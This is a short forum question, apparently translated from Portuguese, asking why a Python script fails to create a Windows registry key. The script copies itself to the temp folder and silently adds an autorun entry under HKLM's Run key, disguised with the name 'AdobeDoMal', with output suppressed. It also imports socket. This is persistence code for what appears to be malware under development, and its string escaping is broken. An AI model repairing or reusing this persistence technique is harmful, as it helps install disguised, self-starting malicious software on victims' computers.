The code below is giving "Registry Error", that is, it does not create the key in the Windows registry. Does anyone have an idea how to solve it?
import socket
import time
import subprocess #Executar comandos do SO
import tempfile #pegar o tmp do SO
import os #rodar comandos do SO
FILENAME ='ED5.py'
TMPDIR = tempfile.gettempdir() #varia de acordo com a versao do windows
def autorun():
try:
os.system("copy " + FILENAME + " " + TMPDIR)#se fosse linux, usaria cp em vez de copy
except:
print("Erro na copia")
try:
####criar a chave de registro
FNULL = open(os.devnull, 'w')
subprocess.Popen("REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
" /v AdobeDoMal /d " + TMPDIR + "\" + FILENAME, stdout=FNULL, stderr=FNULL) #key para programas de 64 bits
except:
print("Erro no registro")
autorun()